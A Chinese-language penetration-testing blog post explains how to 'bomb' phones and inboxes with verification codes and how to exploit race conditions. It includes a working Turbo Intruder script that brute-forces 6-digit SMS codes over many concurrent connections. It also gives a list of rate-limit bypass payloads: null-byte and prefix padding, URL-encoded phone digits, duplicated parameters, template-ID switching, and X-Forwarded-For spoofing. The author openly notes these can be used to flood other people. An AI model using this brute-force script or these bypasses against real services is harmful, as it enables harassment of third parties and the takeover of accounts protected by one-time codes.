声明
本文属于OneTS安全团队成员Asoul的原创文章,转载请声明出处!本文章仅用于学习交流使用,因利用此文信息而造成的任何直接或间接的后果及损失,均由使用者本人负责,OneTS安全团队及文章作者不为此承担任何责任。
验证码轰炸
方法
两种情况,一种是用Burpsuite的重放模块,另一种是并发。
并发不是重放,在渗透测试或SRC挖掘中你是否通过burpsuite的intruer模块来进行测试并发漏洞呢?
首先要理解一下并发的概念,同一个资源,被多个人想要使用的问题,然而burpsuite的intruder模块无论你将线程数调到多高都不是并发,他是一个一个相同的数据包访问同一个资源。
并发是10个相同的数据包同时访问一个资源。举例:余额只有500,结果提现到账3000,使用了并发漏洞同时发送了多个提现请求。
总结一句话:万物皆可并发。
Burpsuite的重放模块
直接抓包后使用repeater模块即可。
并发
过程
工具:TurboIntruder是一个用于发送大量HTTP请求并会分析其结果BurpSuite插件,也是我目前知道能够测试并发漏洞的插件。
可以在burpsuite官方插件商店中直接安装或github下载导入。
GitHub地址为:
https://github.com/PortSwigger/turbo-intruder/
这款插件的使用也很简单,找到想要并发的数据右键选择并发插件。
这将打开一个包含你请求的窗口和一个Python代码段如下所示:
我们可以在上方添加%s为我们要进行fuzz的内容(如果没有参数需求,%s可以加在任意位置)
并发测试一般选择race.py脚本,这里执行30次
concurrentConnections=30 并发连接数, 默认就好
requestsPerConnection=100 并发连接请求数
成功,下方可以看RPS
race.py可以用来小型并发测试
如果想要爆破,可以用以下脚本:
from itertools import product
def brute_veify_code(target, engine, length):
pattern = '1234567890' #用于生成字典的迭代对像
for i in list(product(pattern, repeat=length)): #product()接收多个迭代对像,然后生成一个笛卡尔积,repeat参数代表重复迭代对象次数。
code = ''.join(i)
engine.queue(target.req, code)
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint, #指定目标的地址
concurrentConnections=30, #与服务器建立30条连接
requestsPerConnection=100, #每条连接同时发送100个请求
pipeline=True #开启管道(HTTP Pipelining)模式
)
brute_veify_code(target, engine, 6)#这里数字代表爆破几位,这里代表爆破6位
def handleResponse(req, interesting):
if 'error' not in req.response: #对response进行操作,不含有“error”的添加入表中
table.add(req)
Tips
有时候经常会遇到http版本不支持,这是因为爆破时使用了http2,我们用http1.1即可
绕过
当遇到验证码做了限制,无法完成轰炸效果的时候,可以利用这些特殊的方法进行绕过:
①在前方后面加%86、%00、加空格、+86、0086、86、086、0、/r,/n
②进行能解析编码,如url编码
比如我的号码是17699999999,我把17 url 编码为%31%37699999999 就可以发送短信到我的手机号上面来。
按照这个思路我把176 编码也是可以的、把1769编码也是可以的、把电话号第一位和电话号第三位url 编码也是可以的。
就可以无限制发送短信到我的手机号上,当然也可以轰炸别人。
③加垃圾字符
在前面或者后面加abcd
④Key积累
有的站是通过图片验证码识别,返回一个key,然后请求phone参数时,把key带上,每个key是一次性的,然后用户收到短信。如果手动对多个验证码进行识别,且key不失效,就可以累积起来一起发送。
⑤ 双写绕过
但是这里双写不是为了两个手机号收到同一条短信,而是为了能够继续发送验证码。
例如:
使用phone=1&phone=1绕过、phone=1,1绕过等思路
⑥接口调用
比如这样的参数:
terminal=01&Mobile=XXXXXXX,前面的接口是调用短信发送内容的接口,比如terminal参数值为01是调用注册成功的短信提示,02是调用密码重置成功的短信提示,03是调用注册成功的短信提示等等,当修改这个接口值时,也就达到了短信轰炸或邮箱轰炸的目的。
⑦ 修改ip绕过
有些同样是验证当前IP的,如果当前ip短时间内获取短信或者邮件达到一定次数就会限制,那么就可以修改ip或者使用代理ip来轰炸
⑧利用大小写绕过邮箱轰炸限制
比如参数是这样的:Email=XXX@qq.com当次数达到限制时,随便修改一个字母大写:Email=XXX@Qq.com可绕过限制
⑨修改返回值绕过短信&邮箱轰炸限制
如果是前端验证后发送验证码,就可以通过修改返回值
⑩ XFF进行ip伪造
X-Forwarded-For:127.0.0.1
再被限制改为127.0.0.2